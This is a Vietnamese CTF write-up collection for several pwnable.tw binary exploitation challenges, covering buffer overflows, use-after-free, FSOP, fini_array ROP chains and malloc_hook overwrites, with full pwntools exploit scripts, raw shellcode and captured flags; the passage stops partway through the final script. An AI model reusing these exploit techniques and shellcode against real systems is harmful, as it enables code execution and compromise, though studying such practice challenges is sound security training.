# Write-up pwnable.tw
# seethefile [250 pts]
## 1. Analyze the binary
### checksec

### Reverse
- **main()**

- **openfile()**

```
- Hàm openfile cho phép chúng ta mở file mà tên file do chúng ta lựa chọn ( nhập từ bàn phím)
- Tuy nhiên, không được mở file flag
```
- **readfile()**

```
- Dùng hàm fread để đọc file đựa lưu ở fp và đưa vào mảng magicbuf
```
- **writefile()**

```
- Kiểm tra nếu tồn tại các kí tự giống flag thì exit nếu không thì in magicbuf
```
- **closefile()**

```
dùng hàm fclose để đóng file
```
- **exit**

```
nhập từ bàm phím chuỗi name -> sau đó đóng file bằng fclose()
```
### BUG
- Ta có thể thấy ở `case 5`, binary dùng scanf("%s") để nhập name mà không kiểm tra nbyte -> BOF
## 2. Exploit
### Analyze the bug
- Ta có BOF ở chuỗi name tuy nhiên name lại ở vùng .bss

-> Vậy làm sao để tận dụng đây ???
- Để ý thêm 1 tí, ta có thể thấy fp nằm dưới name (fp là con trỏ đến file đã được mở) -> ta có thể overflow đến nó -> Kĩ thuật FSOP
### FSOP
- Kiến thức bổ trợ về kĩ thuật này
- https://hackmd.io/Gm4JMg7rTWeLgn4myn6Zdw
- https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/EN%20-%20Play%20with%20FILE%20Structure%20-%20Yet%20Another%20Binary%20Exploit%20Technique%20-%20An-Jie%20Yang.pdf
- https://hackmd.io/@ChinoKafuu/r1W3T5aIh
- Ở đây binary sử dụng glibc 2.23 tức là nó chưa có chế độ kiểm tra khi đúng ta thay đổi vtable -> mục tiêu bài này sẽ `thay đổi vtable`.
### Leak libc
- Bởi vì mục tiêu của chúng ta là thay đổi `vtable` -> cần có địa chỉ libc để có execve hoặc system để get shell.
- Rất may không hề khó vì chương trình cung cấp cho ta 3 hàm `openfile()`,`readfile()`,`writeifle()` và chúng ta sẽ sử dụng 1 file chứa các thông tin của tiến trình `/proc/self/maps`
```c
open(p,b'/proc/self/maps')
read(p)
write_to_screen(p)
read(p)
write_to_screen(p)
rl(p)
libc.address =int(b"0x"+ ru(p,b'-').replace(b'-',b''),16)
print("libc base:",hex(libc.address))
```
- các byte ở local và server có chút khác tuy nhiên ý tưởng vẫn vậy.
### change FILE STRUCTURE
- `pwntools` cung cấp cho chúng ta 1 cấu trúc giả mạo `file structure` là `FileStructure()`
#### _IO_acquire_lock
- Trong quá trình chúng ta thay đổi vtable có lẽ sẽ gặp tình huống sau:

-> chương trình bị chết giữa chừng
- Nguyên nhân + giải quyết :

-> AngelBoy cung cấp cho chúng ta cách giải quyết bằng cách để `_lock` sẽ trỏ đến 1 địa chỉ NULL

-> OKEEE, qua chỗ lúc nãy rồi :+1:
#### change vtable and get shell
- Với FILE STRUCTURE :
```
f = FileStructure()
f.vtable = 0x12345678
f._lock = 0x804b518
```

- Mục tiệu cuối cùng là làm cho **`vtable + 0x8`** trỏ đến địa chỉ hàm `system`
- Cũng nhận thấy rằng tham số đầu tiên khi `call [eax+0x8] `nằm ngay vùng `_IO_read_ptr` và `_IO_read_end` -> nên ta sẽ ghi string "/bin/sh\x00" vào đó luôn.
### Script
```python
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def GDB(p):
# base = get_exe_base(p.pid)
gdb.attach(p,gdbscript='''
b*0x08048AE0
c
''')
input()
def open(p,filename):
sla(p,b'Your choice :',b'1')
sla(p,b'want to see :',filename)
def read(p):
sla(p,b'Your choice :',b'2')
def write_to_screen(p):
sla(p,b'Your choice :',b'3')
def close(p):
sla(p,b'Your choice :',b'4')
def exit(p,payload):
sla(p,b'Your choice :',b'5')
sla(p,b'your name :',payload)
def main():
context.binary = exe = ELF("./chall", checksec=False)
libc = ELF("./libc_32.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
# p = remote("chall.pwnable.tw",10200)
p = process(exe.path)
#GDB(p)
open(p,b'/proc/self/maps')
read(p)
write_to_screen(p)
read(p)
write_to_screen(p)
rl(p)
libc.address =int(b"0x"+ ru(p,b'-').replace(b'-',b''),16)
print("libc base:",hex(libc.address))
f = FileStructure()
f.flags = u32(b'/bin')
f._IO_read_ptr = u32(b'/sh\x00')
f.vtable = 0x804b310+12-0x44
f._lock = 0x804b518
print(f)
payload = b'A'*32
payload += p32(0x804b280+4)
payload+= bytes(f)
payload+= p32(libc.sym['system'])
# GDB(p)
p.sendlineafter(b'choice :', b'5')
p.sendlineafter(b'name :', payload)
p.interactive()
if __name__ == "__main__":
main()
# FLAG{F1l3_Str34m_is_4w3s0m3}
```
# 3x17 [150 pts]
## Analyze the binary
### checksec

### Reverse
- main()

```
- Binary chỉ có main() cho phép nhập 1 địa chỉ bất kì từ bàn phím
và ghi data vào buffer đó
```
### BUG
- Cho phép nhập 1 địa chỉ bất kìa và tự do ghi vào là 1 điều vô cùng nguy hiêm
- Hơn thế PIE tắt -> ghi vào địa chỉ thuộc binary
## Exploit
### .finiarray
- Các bạn có thể tìm hiểu kĩ hơn ở
- https://blog.k3170makan.com/2018/10/introduction-to-elf-format-part-v.html
- start()

- Hàm libc_start_main sẽ call tới hàm `main` -> `main` kêt thúc -> gọi `call_finiarray`
- call_finiarray


- Dựa vào source của hàm call_finiarray, hàm này sẽ gọi từ cuối mảng các con trỏ hàm.

### Thay đổi .finiarray
- Dựa vào đặc điểm này, ý tưởng sẽ là overwrite `.finiarray` để nó call gì đó giúp mình get shell
- Nhưng chương trình không hề có hàm win(hoặc tương tự thế)
- Rất may qua các gadget mình thấy nó có gadget syscall nên chắc là sẽ theo hương ROPchain -> `ret to syscall`
### How to ROPchain
- binary chỉ cho nhập 5 bytes nên không thể ghi payload trong 1 lần nên chúng ta phải tìm các loop main

- Tiếp theo là cách để return về ROPchain:
- căn chỉnh
`addr = p64(fini_array + offset)`
`data = p64(ROPchain)`
- offset đó ta phải tính toán, và cuối cùng muốn syscall execve, ta phải return vào chuỗi ROP của mình bằng gadget leave;ret
### script
```python
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def leak(p, payload):
sl(p, payload)
ru(p, b'|')
leak = int(ru(p, b'|').replace(b'|', b''), 16)
return leak
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript='''
b*main+92
c
''')
input()
def main():
context.binary = exe = ELF("./chall", checksec=False)
# libc = ELF("./", checksec=False)
# ld = ELF("./", checksec=False)
p = process(exe.path)
# GDB(p)
pop_rax = 0x000000000041e4af
pop_rdi = 0x0000000000401696
pop_rsi = 0x0000000000406c30
pop_rdx = 0x0000000000446e35
syscall = 0x00000000004022b4
leave_ret = 0x0000000000401c4b
main = 0x401b6d
fini_array = 0x4b40f0
fini_array_call = 0x402960
offset = fini_array
binsh = offset + 11*8
def change(addr,data):
p.sendafter(b'addr:',str(addr))
p.sendafter(b'data:',data)
change(fini_array,p64(fini_array_call)+p64(main))
change(offset + 2*8, p64(pop_rdi) + p64(binsh))
change(offset + 4*8, p64(pop_rdx) + p64(0))
change(offset + 6*8, p64(pop_rsi) + p64(0))
change(offset + 8*8, p64(pop_rax) + p64(0x3b))
change(offset + 10*8, p64(syscall) + b'/bin/sh\0')
change(offset, p64(leave_ret))
p.interactive()
if __name__ == "__main__":
main()
```
# Heap Paradise [350 pts]
## Analyze
### Reverse
- Chương trình chỉ có 2 hàm quan trọng là hàm add, delete
**`int add()`**

```
* Hàm add :
- Chỉ cho phép 15 lần gọi malloc (tăng i đến khi nào heap[i] NULL thì thêm con trỏ sau malloc vào đó)
- Chỉ cho phép size <= 0x78
```
**`void delete()`**

```
hàm delete()
- free tại vị trí index đã nhập
- Tuy nhiên không set NULL con trỏ đã free
```
### BUG
- Bug khá rõ ở đây là Use after free/ Double free ở hàm delete
## Exploit
- Chương trình dùng libc 2.23 lại có UAF -> có lẽ tập trung vào fastbin dup
- Tuy có UAF nhưng lại không có chức năng nào có thể in nội dung trong chunk -> `FSOP` để in/leak libc
- Dùng `__malloc_hook` để get shell bằng `one_gadget`
### FSOP : leak libc address
- Để dùng FSOP leak libc thì ta cần overwrite được `_flags` và `IO_writebase` của stdout -> Ở đây chỉ có khi tạo 1 chunk sau đó thêm data có thể dùng để ghi cái gì đó -> mục tiêu sẽ tạo 1 chunk có địa chỉ libc
#### Step 1: Unsorted bin -> create libc address
- Có 1 cách để tạo ra libc đó là sử dụng địa chỉ main_arena trong chunk ở unsorted bin.
- Tuy nhiên, bài không cho tạo chunk > 0x78 (vẫn ở fastbin) -> dùng double free để fake size của chunk.
- Mục tiêu :
- dùng double free để thay đổi fd của 1 chunk trong bin trỏ đến 1 fake_chunk(vẫn đảm bảo size đúng với idx)
- Sau đó fake size (để out of range fastbin và vào unsorted bin)
```py
payload = b'a'*2*8 + p64(0x0) + p64(0x70) # prepare fake fastbin list
add(p,0x68,payload) #0:4000
add(p,0x68,b'b'*0x40+p64(0x0)+p64(0x21)) #1:4070 -> fake prev_inuse of next chunk
# GDB(p)
delete(p,0)
delete(p,1)
delete(p,0) #double free
# GDB(p)
add(p,0x68,b'\x20') #2:4000 -> fake fastbin list
add(p,0x68,b'b'*0x40) #3:4070
# GDB(p)
payload = b'a'*8*2
add(p,0x68,payload) #4:4000
add(p,0x68,b'c'*8*4) #5:4020
delete(p,4)
# GDB(p)
add(p,0x68,b'a'*8*2+p64(0x0) +p64(0xa1)) #6:4000 -> fake size to out of range fast bin -> to insert ubin
delete(p,5) # insert chunk 0xa0 into unsorted bin
```
##### warning
- Cần fake luôn prev_inuse của next_chunk (tính offset fake chunk sau đó fake size + bit inuse)
- Cần đảm bảo size của next_chunk (của chunk out of range) để tránh lỗi


#### Step 2: insert libc address into fastbin
- Sau khi có libc ở unsortedbin, để overwrite stdout thì cần biến nó thành 1 chunk -> Đưa nó vào fastbin
- Ta tận dụng [phân bổ chunk](https://hackmd.io/@trhoanglan04/heap_introduce#%F0%9F%91%80-unsorted-large-small-bins) của libc để tạo 1 chunk khác với size cũ, để malloc phân bổ ubin từ size 0xa1 xuống.
-> Tránh size để có ở fastbin
- Sau đó data sẽ set fake_size cũng như ow 1 byte trỏ đến main_area
```py
delete(p,0) #0 #4000
delete(p,1) #1->0 #4070->4000
payload = flat(
0,0, #4030 #4038
0,0, #4040 #4048
0,0, #4050 #4058
0,0, #4060 #4068
0,0x71 #4070 #4078
)
payload += b'\xa0' #ow heap bin
#from 4070->4000 to 4070->40a0->main_area
add(p,0x78,payload) #chunk7:4030 #request from ubin 4020
#new ubin 40a0 (size 0xa1-0x80=0x21)
delete(p,7)
```
#### Step 3: Brute force libc
- Sau khi có 1 chunk libc ở fastbin nhưng chunk này không thể ghi vào `IO_stdout` nhưng rất may chunk này lại có địa chỉ khá giống với `IO_stdin`
-> Ta chỉ cần brute 1 byte gần cuối (do byte ta đã biết chắc chắn do biết offset so với libc base)
- Điều cần quan tâm tiếp theo là tìm meta data phù hợp cho chunk để overwrite IO_stdout -> `stdout -0x43`
```py
print("_IO_2_1_stdout_ - 0x43:",hex(libc.sym['_IO_2_1_stdout_']))
brute = p16(0x25dd)
payload = flat(
0,0, #4080 #4088
0,0, #4090 #4098
0,0x71 #40a0 #40a8 #victim_chunk #re_size
)
payload += brute #ow main_area to stdout-0x43 (fake_size 0x7f)
add(p,0x68,payload) #chunk8:4080 #bin:40a0->stdout-0x43
add(p,0x68,brute) #chunk9:40b0 #re_ow stdout-0x43
_flags = 0xfbad1800
payload = b'\0'*0x33 #padding
payload += p64(_flags)
payload += p64(0) * 3 + b'\x88'
try:
add(p,0x68,payload) # brute force libc stdout -> overwrite stdout
except EOFError:
p.close()
continue
leak = intFromByte(p,6)
if leak == 0x2a2a2a2a2a2a :
p.close()
continue
else :
break
print("leak:",hex(leak))
libc.address=leak - 0x3c38e0
print("libc base:",hex(libc.address))
```
##### note
- Về vấn đề overwrite như thế nào thì có thể tìm hiểu tìm kĩ thuật [FSOP](https://hackmd.io/Mx1bLro_Tp-VMh6u--k13w).
- Về brute force thì cứ chạy thử xem nó in ra cái gì thì viết script theo vậy.
### RCE : __malloc_hook + one_gadget
- Về đoạn này thì khá ez, các bạn có thể tìm hiểu qua [task heap2](https://hackmd.io/ba4F7J-PQ_uMurib0TjBSg?view#Heap2)
- Đơn giản là mình sẽ overwrite con trỏ __malloc_hook thành 1 con trỏ hàm nào đó ( ở đây mình dùng one_gadget để RCE) thì nó sẽ call con trỏ đó khi dùng malloc hoặc free
```py
malloc_hook = libc.sym['__malloc_hook']
print("__malloc_hook:",hex(malloc_hook))
fake_chunk = malloc_hook -35
print("fake_chunk:",hex(fake_chunk))
one_gadget = 0xef6c4 + libc.address
print("one_gadget:",hex(one_gadget))
offset = 19
# GDB(p)
delete(p,0)
delete(p,1)
delete(p,0) # create double free
gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
one_gadget = libc.address + gadget[2]
add(p,0x68,p64(libc.sym['__malloc_hook']-0x23))
add(p,0x68,b'A')
add(p,0x68,b'B')
add(p,0x68,b'a'*0x13 + p64(one_gadget))
delete(p,0)
delete(p,0)#trigger aborted
```
## Full script
```py
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def add(p,size,data):
sla(p,b'You Choice:',b'1')
sla(p,b'Size :',str(size).encode())
sa(p,b'Data :',data)
def delete(p,idx):
sla(p,b'You Choice:',b'2')
sla(p,b'Index :',str(idx).encode())
def GDB(p):
base = get_exe_base(p.pid)
gdb.attach(p, gdbscript=f'''
b*{base}+0x0000000000000D66
b*{base}+0x0000000000000DCD
b*{base}+0x0000000000000CF4
c
''')
input()
def main():
context.binary = exe = ELF("./chal_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
while True:
# p = remote('chall.pwnable.tw',10308)
p = process(exe.path)
##################################
payload = flat(
0,0,
0,0x71
)
add(p,0x68,payload)
payload = flat(
0,0,
0,0,
0,0,
0,0,
0,0x21
)
add(p,0x68,payload)
delete(p,0)
delete(p,1)
delete(p,0)
add(p,0x68,b'\x20')
add(p,0x68,b'A')
add(p,0x68,b'B')
add(p,0x68,b'C')
delete(p,0)
payload = flat(
0,0,
0,0xa1
)
add(p,0x68,payload)
delete(p,5)
###################################### leak libc #############################################
# GDB(p)
delete(p,0)
delete(p,1)
payload = flat(
0,0,
0,0,
0,0,
0,0,
0,0x71
)
payload += b'\xa0'
add(p,0x78,payload)
delete(p,7)
print("_IO_2_1_stdout_ - 0x43:",hex(libc.sym['_IO_2_1_stdout_']))
brute = p16(0x25dd)
payload = flat(
0,0,
0,0,
0,0x71
)
payload += brute
add(p,0x68,payload)
add(p,0x68,brute)
_flags = 0xfbad1800
payload = b'\0'*0x33 #padding
payload += p64(_flags)
payload += p64(0) * 3 + b'\x88'
try:
add(p,0x68,payload)
except EOFError:
p.close()
continue
leak = intFromByte(p,6)
if leak == 0x2a2a2a2a2a2a :
p.close()
continue
else :
break
print("leak:",hex(leak))
libc.address=leak - 0x3c38e0
print("libc base:",hex(libc.address))
############################## Get shell #################################
# GDB(p)
malloc_hook = libc.sym['__malloc_hook']
print("__malloc_hook:",hex(malloc_hook))
fake_chunk = malloc_hook -35
print("fake_chunk:",hex(fake_chunk))
one_gadget = 0xef6c4 + libc.address
print("one_gadget:",hex(one_gadget))
offset = 19
# GDB(p)
delete(p,0)
delete(p,1)
delete(p,0)
gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
one_gadget = libc.address + gadget[2]
add(p,0x68,p64(libc.sym['__malloc_hook']-0x23))
add(p,0x68,b'A')
add(p,0x68,b'B')
add(p,0x68,b'a'*0x13 + p64(one_gadget))
delete(p,0)
delete(p,0)
p.interactive()
if __name__ == "__main__":
main()
# FLAG{W3lc0m3_2_h3ap_p4radis3}
```
# Spirited Away [300 pts]
## analyze
- Chương trình chỉ có 1 hàm quan trong làm toàn bộ công việc của chương trình là `survey()`


### work flow
- Cách hoạt đông của bin khá đơn giản : vòng lặp `while(1)` cho phép ta điền `name`, `age`, `reason`, `comment` sau khi điền xong nếu muốn điền tiếp thì chọn 'y'= yes (ngược lại là 'n'=no)
- `name` nằm ở heap do malloc cấp phát ; nếu chọn 'y' thì trước khi `malloc()` thì name được `free()`
## vulnerability
- Nếu nhìn tổng quát thì chương trình không có bug tuy nhiên ý đồ của author được thể hiện ở `memset(comment, 0, sizeof(comment));` khi chỉ có memset ở `comment` nhưng không có ở `reason` -> Tại sao ???
- Khi bin sử dụng hàm read() -> không thêm '\n' + không set null + printf -> thường sẽ in 1 đống phía sau input của mình (thực ra ban đầu mình test chương trình băng cách nhập lung tung và nó in ra 1 số byte nên biết nó có bug )
- hàm `sprintf()` + `puts()` -> tạo chuỗi theo format + in chuỗi

- Tập trung vào string nó muốn format :


-> nếu number (ở %d) có 3 chữ số thì sao -> 57 -> `off by one `
- Xem cách bố trí của stack :

-> Chỉ overflow 1 byte -> thay đổi `nbytes` -> buffer overflow ở `name`, `comment`
## Exploit
### Leak libc + stack
- Việc leak được libc ở đây không khó chỉ có điều trên server thì có 1 chút khác về offset nhưng cũng không ảnh hưởng tới độ khó
```py
p = remote('chall.pwnable.tw', 10204)
##### leak libc #####
payload = b'b'*3+b'|'
survey(p,b'a'*20,7,payload,b'c'*20)
ru(p,b'|')
leak = intFromByte(p,4)
libc.address = leak - 1771149
print("leak libc:",hex(leak))
print("libc base:",hex(libc.address))
end(p,y)
```
### off by one
- Việc tạo ra `off by one` thì chỉ cần làm cho count thành số có 3 chữ số (tuy nhiên biến name khi thực hiện thì bị bỏ qua nhưng cũng không quá quan trọng)
```py
for i in range(7):
survey(p,b'0'*60,7,b'1'*80,b'2'*60)
end(p,y)
for i in range(90):
survey_pass(p,18,b'A',b'B')
end_pass(p,y)
```
### buffer overflow
- Sau khi trigger thành công off by one -> có BOF ở `name` và `comment` với size từ 0x40 -> 0x6e
- Ban đầu mình nghĩ xong rồi chỉ cần overwrite EIP là xong nhưng mà thực ra không đủ byte đên eip :(( tuy nhiên chúng ta có thể chuyển hướng qua thay đổi `name` thành 1 địa chỉ có thể overwrite được eip

- `name` lại nằm ở heap nên cần set up fake chunk và cả bit in_use của next_chunk_fake

- Sau đó ta sẽ ghi overwrite eip thôi (mih dùng one_gadget)
## Get flag
```python
#!/usr/bin/env python3
from pwn import *
def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)
def intFromByte(p, size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output, 16)
return leak
def get_exe_base(pid):
maps_file = f"/proc/{pid}/maps"
exe_base = None
with open(maps_file, 'r') as f:
exe_base = int(f.readline().split('-')[0], 16)
if exe_base is None:
raise Exception("Executable base address not found.")
return exe_base
def survey(p,name,age,reason,comment):
sa(p,b'Please enter your name: ',name)
sla(p,b'Please enter your age: ',str(age).encode())
sa(p,b'Why did you came to see this movie? ',reason)
sa(p,b'Please enter your comment: ',comment)
def end(p,choice):
sa(p,b'comment? <y/n>:',choice)
def survey_pass(p,age,reason,comment):
sla(p,b'Please enter your age: ',str(age).encode())
sa(p,b'Why did you came to see this movie? ',reason)
sa(p,b'Please enter your comment: ',comment)
def end_pass(p,choice):
ru(p,b'Wrong choice.\n')
sa(p,b'comment? <y/n>:',choice)
def GDB(p):
# base = get_exe_base(p.pid)
gdb.attach(p, gdbscript='''
b*0x080487DA
c
''')
input()
def main():
context.binary = exe = ELF("./chal_patched", checksec=False)
libc = ELF("./libc_32.so.6", checksec=False)
n = b'n'
y = b'y'
mode = sys.argv[1]
if mode == 'lo':
p = process(exe.path)
##### leak libc #####
survey(p,b'a'*20,7,b'b'*19+b'|',b'c'*20)
ru(p,b'|')
leak = intFromByte(p,4)
libc.address = leak - 389787
print("leak libc:",hex(leak))
print("libc base:",hex(libc.address))
end(p,y)
elif mode == 're':
p = remote('chall.pwnable.tw', 10204)
##### leak libc #####
payload = b'b'*3+b'|'
survey(p,b'a'*20,7,payload,b'c'*20)
ru(p,b'|')
leak = intFromByte(p,4)
libc.address = leak - 1771149
print("leak libc:",hex(leak))
print("libc base:",hex(libc.address))
end(p,y)
##### leak stack #####
count = 0
# GDB(p)
survey(p,b'a'*20,7,b'b'*55+b'|',b'c'*20)
ru(p,b'|')
stack_leak = intFromByte(p,4)
print("stack leak:",hex(stack_leak))
end(p,y)
##### trigger bug off by one #####
survey(p,b'0'*60,7,b'1'*80,b'2'*60)
end(p,y)
for i in range(7):
survey(p,b'0'*60,7,b'1'*80,b'2'*60)
end(p,y)
for i in range(90):
survey_pass(p,18,b'A',b'B')
end_pass(p,y)
fake_chunk = stack_leak -96
comment = b'2'*84 + p32(fake_chunk)
reason = p32(0)*3+p32(0x40)+ p32(0)*15+p32(0x21)
GDB(p)
survey(p,b'0'*60,7,reason,comment)
end(p,y)
one_gadget = 0x3a819 +libc.address
payload = b'a'*68 + p32(one_gadget)
# GDB(p)
survey(p,payload,18,b'a',b'b')
end(p,n)
p.interactive()
if __name__ == "__main__":
main()
# FLAG{Wh4t_1s_y0ur_sp1r1t_1n_pWn}
```
# start
## analyze
- Chương trình chỉ có hàm `start`
```c
; __int64 start()
public _start
_start proc near
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch ; '<'
mov al, 3
int 80h ; LINUX -
add esp, 14h
retn
```
### work flow
- Ta thấy có lệnh `int 0x80` (ngắt : syscall)
- sys_write : al = 0x4, ecx = esp (đọc nội dụng đỉnh stack)
- sys_read : al=0x3, ecx = esp, dl = 0x3c (size) -> `BOF`
### checksec
```checksec
Canary : ✘
NX : ✘
PIE : ✘
Fortify : ✘
RelRO : ✘
```
## exploit
- chương trình đơn giản chỉ là BOF ở read và cho thực thi shellcode tự do -> trigger bof -> write shellcode
```py
#!/usr/bin/python3
from pwn import *
#context.binary = exe = ELF('./start',checksec=False)
#p = process(exe.path)
#input()
p = remote('chall.pwnable.tw',10000)
# send payload to leak esp
payload = b'A'*20
payload += p32(0x08048087)
p.sendafter(':',payload)
esp = u32(p.recv(4))
print("esp: ",hex(esp))
# send payload to ret to my shellcode
shellcode = b'\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
shelcode_add = esp + 20 ;
payload = b'a'*20 + p32(shelcode_add) + shellcode
p.send(payload)
p.interactive()
#FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
```
# Secret garden
## analyze
- Chường trình chỉ có các hàm tạo, in, xóa (khá quen thuộc với dạng bài heap)
`raise()`
```c
int create()
{
_QWORD *color; // rbx
void *name; // rbp
_QWORD *v2; // rcx
int idx; // edx
unsigned int size; // [rsp+4h] [rbp-24h] OVERLAPPED BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-20h]
canary = __readfsqword(0x28u);
size = 0;
if ( count > 99u )
{
return puts("The garden is overflow");
}
color = malloc(0x28uLL);
*color = 0LL;
color[1] = 0LL;
color[2] = 0LL;
color[3] = 0LL;
color[4] = 0LL;
__printf_chk(1LL, "Length of the name :");
if ( (unsigned int)__isoc99_scanf("%u", &size) == -1 )
{
exit(-1u);
}
name = malloc(size);
if ( !name )
{
puts("Alloca error !!");
exit(-1u);
}
__printf_chk(1LL, "The name of flower :");
read(0, name, size);
color[1] = name;
__printf_chk(1LL, "The color of the flower :");
__isoc99_scanf("%23s", color + 2);
*(_DWORD *)color = 1;
if ( color_list[0] )
{
v2 = &color_list[1];
idx = 1;
while ( *v2 )
{
++idx;
++v2;
if ( idx == 0x64 )
{
goto successful;
}
}
}
else
{
idx = 0;
}
color_list[idx] = color;
successful:
++count;
return puts("Successful !");
}
```
```
- malloc chunk 0x28:color : chunk này lưu 0x1(8b),name_add(8b), string color(user input)
- malloc chunk với size (user input) : lưu name
- color_list : mảng con trỏ ở bss ( lưu địa chỉ của color mỗi flower)
- 0x1 : sẽ là giá trị để chương trình check flower đã remove chưa (0x0:removed)
```
`remove()`
```c
int remove()
{
_DWORD *ptr; // rax
unsigned int idx; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( !count )
{
return puts("No flower in the garden");
}
__printf_chk(1LL, "Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &idx);
if ( idx <= 99 && (ptr = (_DWORD *)color_list[idx]) != 0LL )
{
*ptr = 0;
free(*(void **)(color_list[idx] + 8LL));// uaf
return puts("Successful");
}
else
{
puts("Invalid choice");
return 0;
}
}
```
```
- duyệt color_list để remove (thông qua idx của mảng này)
- free(name)
- Nhưng thay vì set NULL color_list[idx] + 8LL thi 0x1 -> 0x0 (kiểu giống bit in_use)
-> UAF
```
`visit()`
```c
int visit()
{
__int64 idx; // rbx
__int64 tmp; // rax
idx = 0LL;
if ( count )
{
do
{
tmp = color_list[idx];
if ( tmp && *(_DWORD *)tmp )
{
__printf_chk(1LL, "Name of the flower[%u] :%s\n", (unsigned int)idx, *(const char **)(tmp + 8));
LODWORD(tmp) = __printf_chk(
1LL,
"Color of the flower[%u] :%s\n",
(unsigned int)idx,
(const char *)(color_list[idx] + 0x10LL));
}
++idx;
}
while ( idx != 100 );
}
else
{
LODWORD(tmp) = puts("No flower in the garden !");
}
return tmp;
}
```
```
- Vẫn color_list để duyệt -> in ra idx, name
- in ra các index có bit inuse = 1
```
`clean()`
```c
unsigned __int64 clean()
{
_QWORD *ptr; // rbx
_DWORD *tmp; // rdi
unsigned __int64 v3; // [rsp+8h] [rbp-20h]
v3 = __readfsqword(0x28u);
ptr = color_list;
do
{
tmp = (_DWORD *)*ptr;
if ( *ptr && !*tmp )
{
free(tmp);
*ptr = 0LL;
--count;
}
++ptr;
}
while ( ptr != &color_list[100] );
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}
```
### Bugs
- Ta có bugs UAF/double free (có lẽ vậy là đủ)
## Exploit
### Leak libc
- trong bài này thì không có kĩ thuật nào cả nhiệm vụ là alloc chunk sao cho phù hợp.
- How to leak libc ??? Có double free thì chọn leak qua unsorted bin -> thông qua hàm `remove()`
- Nhưng sau khi `remove()` sẽ set null 8byte đầu của chunk `color` -> nhiệm vụ làm control được chunk này để in ra data teen chunk ở unsorted bin
- Cũng khá đơn giản là control chunk 0x30 (malloc từ 0x28)
```py
create(p,0x28,b'0'*0x28,b'A'*23) #0-name:5040-color:4000
create(p,0x28,b'1'*0x28,b'B'*23) #1-name:50a0-color:5070
create(p,0x28,b'2'*0x28,b'C'*23) #2-name:5100-color:50d0
create(p,0x28,b'3'*0x28,b'D'*23) #3-name:5160-color:5130
# GDB(p)
create(p,0xa0,b'4'*0xa0,b'E'*23) #4-name:51c0-color:5190
create(p,0x28,b'5'*0x28,b'f'*23) #5-name:52a0-color:5270
# GDB(p)
remove(p,1)
remove(p,2)
remove(p,3)
remove(p,1)
# GDB(p)
create(p,0x28,b'6'*0x28,b'A'*23) #6-name:5160-color:50a0
remove(p,4)
# GDB(p)
name = p64(0x1) + b'\xd0'
create(p,0x28,name,b'B'*23) #7-name:50a0-color:5100
visit(p)
ru(p,b'flower[6] :')
leak = intFromByte(p,6)
print("leak libc:",hex(leak))
libc.address = leak - 3947384
print("libc base:",hex(libc.address))
```
### Overwrite __malloc_hook + one_gadget
- Sau khi có libc thì công việc còn lại khá đơn giản ( mình đã có kĩ thuật này ở 1 trong số wu)
- Bài này cũng không có gì khác chỉ là đôi luc hơi lộn xộn những cơ bản thì không khó
```py gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
malloc_hook = libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 35
color_list = 0x555555400000 + 0x0000000000202040
clean(p)
create(p,0x68,b'8'*0x68,b'E'*23) #8-name:51c0-color:5190
create(p,0x68,b'9'*0x68,b'E'*23) #9-name:52d0-color:5130
